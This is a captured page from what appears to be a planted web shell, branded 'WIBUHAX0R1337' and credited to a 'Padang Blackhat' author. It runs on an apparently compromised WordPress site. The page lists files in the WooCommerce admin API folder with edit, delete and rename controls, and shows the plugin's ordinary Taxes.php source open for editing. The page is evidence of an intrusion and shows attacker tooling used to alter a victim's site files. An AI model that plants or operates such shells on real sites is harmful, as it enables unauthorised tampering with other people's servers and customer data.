-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
woocommerce
/
packages
/
woocommerce-admin
/
src
/
API
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
Reports
--
NONE
Templates
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
Coupons.php
2.124KB
Edit File
Delete File
Rename
CustomAttributeTraits.php
3.373KB
Edit File
Delete File
Rename
Customers.php
2.1KB
Edit File
Delete File
Rename
Data.php
0.904KB
Edit File
Delete File
Rename
DataCountries.php
0.439KB
Edit File
Delete File
Rename
DataDownloadIPs.php
4.136KB
Edit File
Delete File
Rename
Features.php
1.687KB
Edit File
Delete File
Rename
Init.php
7.382KB
Edit File
Delete File
Rename
Leaderboards.php
16.344KB
Edit File
Delete File
Rename
Marketing.php
3.329KB
Edit File
Delete File
Rename
MarketingOverview.php
3.35KB
Edit File
Delete File
Rename
NavigationFavorites.php
8.075KB
Edit File
Delete File
Rename
NoteActions.php
2.38KB
Edit File
Delete File
Rename
Notes.php
26.037KB
Edit File
Delete File
Rename
OnboardingFreeExtensions.php
1.812KB
Edit File
Delete File
Rename
OnboardingPayments.php
1.795KB
Edit File
Delete File
Rename
OnboardingProductTypes.php
1.756KB
Edit File
Delete File
Rename
OnboardingProfile.php
15.779KB
Edit File
Delete File
Rename
OnboardingTasks.php
29.985KB
Edit File
Delete File
Rename
OnboardingThemes.php
5.977KB
Edit File
Delete File
Rename
Options.php
5.904KB
Edit File
Delete File
Rename
Orders.php
9.176KB
Edit File
Delete File
Rename
Plugins.php
22.734KB
Edit File
Delete File
Rename
ProductAttributeTerms.php
4.35KB
Edit File
Delete File
Rename
ProductAttributes.php
4.445KB
Edit File
Delete File
Rename
ProductCategories.php
0.435KB
Edit File
Delete File
Rename
ProductReviews.php
1.286KB
Edit File
Delete File
Rename
ProductVariations.php
5.926KB
Edit File
Delete File
Rename
Products.php
9.619KB
Edit File
Delete File
Rename
ProductsLowInStock.php
9.497KB
Edit File
Delete File
Rename
SettingOptions.php
0.846KB
Edit File
Delete File
Rename
Taxes.php
4.867KB
Edit File
Delete File
Rename
Themes.php
5.974KB
Edit File
Delete File
Rename
<?php /** * REST API Taxes Controller * * Handles requests to /taxes/* */ namespace Automattic\WooCommerce\Admin\API; defined( 'ABSPATH' ) || exit; /** * Taxes controller. * * @extends WC_REST_Taxes_Controller */ class Taxes extends \WC_REST_Taxes_Controller { /** * Endpoint namespace. * * @var string */ protected $namespace = 'wc-analytics'; /** * Get the query params for collections. * * @return array */ public function get_collection_params() { $params = parent::get_collection_params(); $params['search'] = array( 'description' => __( 'Search by similar tax code.', 'woocommerce' ), 'type' => 'string', 'validate_callback' => 'rest_validate_request_arg', ); $params['include'] = array( 'description' => __( 'Limit result set to items that have the specified rate ID(s) assigned.', 'woocommerce' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), 'validate_callback' => 'rest_validate_request_arg', ); return $params; } /** * Get all taxes and allow filtering by tax code. * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|WP_REST_Response */ public function get_items( $request ) { global $wpdb; $prepared_args = array(); $prepared_args['order'] = $request['order']; $prepared_args['number'] = $request['per_page']; if ( ! empty( $request['offset'] ) ) { $prepared_args['offset'] = $request['offset']; } else { $prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number']; } $orderby_possibles = array( 'id' => 'tax_rate_id', 'order' => 'tax_rate_order', ); $prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ]; $prepared_args['class'] = $request['class']; $prepared_args['search'] = $request['search']; $prepared_args['include'] = $request['include']; /** * Filter arguments, before passing to $wpdb->get_results(), when querying taxes via the REST API. * * @param array $prepared_args Array of arguments for $wpdb->get_results(). * @param WP_REST_Request $request The current request. */ $prepared_args = apply_filters( 'woocommerce_rest_tax_query', $prepared_args, $request ); $query = " SELECT * FROM {$wpdb->prefix}woocommerce_tax_rates WHERE 1 = 1 "; // Filter by tax class. if ( ! empty( $prepared_args['class'] ) ) { $class = 'standard' !== $prepared_args['class'] ? sanitize_title( $prepared_args['class'] ) : ''; $query .= " AND tax_rate_class = '$class'"; } // Filter by tax code. $tax_code_search = $prepared_args['search']; if ( $tax_code_search ) { $code_like = '%' . $wpdb->esc_like( $tax_code_search ) . '%'; $query .= $wpdb->prepare( ' AND CONCAT_WS( "-", NULLIF(tax_rate_country, ""), NULLIF(tax_rate_state, ""), NULLIF(tax_rate_name, ""), NULLIF(tax_rate_priority, "") ) LIKE %s', $code_like ); } // Filter by included tax rate IDs. $included_taxes = $prepared_args['include']; if ( ! empty( $included_taxes ) ) { $included_taxes = implode( ',', $prepared_args['include'] ); $query .= " AND tax_rate_id IN ({$included_taxes})"; } // Order tax rates. $order_by = sprintf( ' ORDER BY %s', sanitize_key( $prepared_args['orderby'] ) ); // Pagination. $pagination = sprintf( ' LIMIT %d, %d', $prepared_args['offset'], $prepared_args['number'] ); // Query taxes. $results = $wpdb->get_results( $query . $order_by . $pagination ); // @codingStandardsIgnoreLine. $taxes = array(); foreach ( $results as $tax ) { $data = $this->prepare_item_for_response( $tax, $request ); $taxes[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $taxes ); // Store pagination values for headers then unset for count query. $per_page = (int) $prepared_args['number']; $page = ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 ); // Query only for ids. $wpdb->get_results( str_replace( 'SELECT *', 'SELECT tax_rate_id', $query ) ); // @codingStandardsIgnoreLine. // Calculate totals. $total_taxes = (int) $wpdb->num_rows; $response->header( 'X-WP-Total', (int) $total_taxes ); $max_pages = ceil( $total_taxes / $per_page ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $base = add_query_arg( $request->get_query_params(), rest_url( sprintf( '/%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat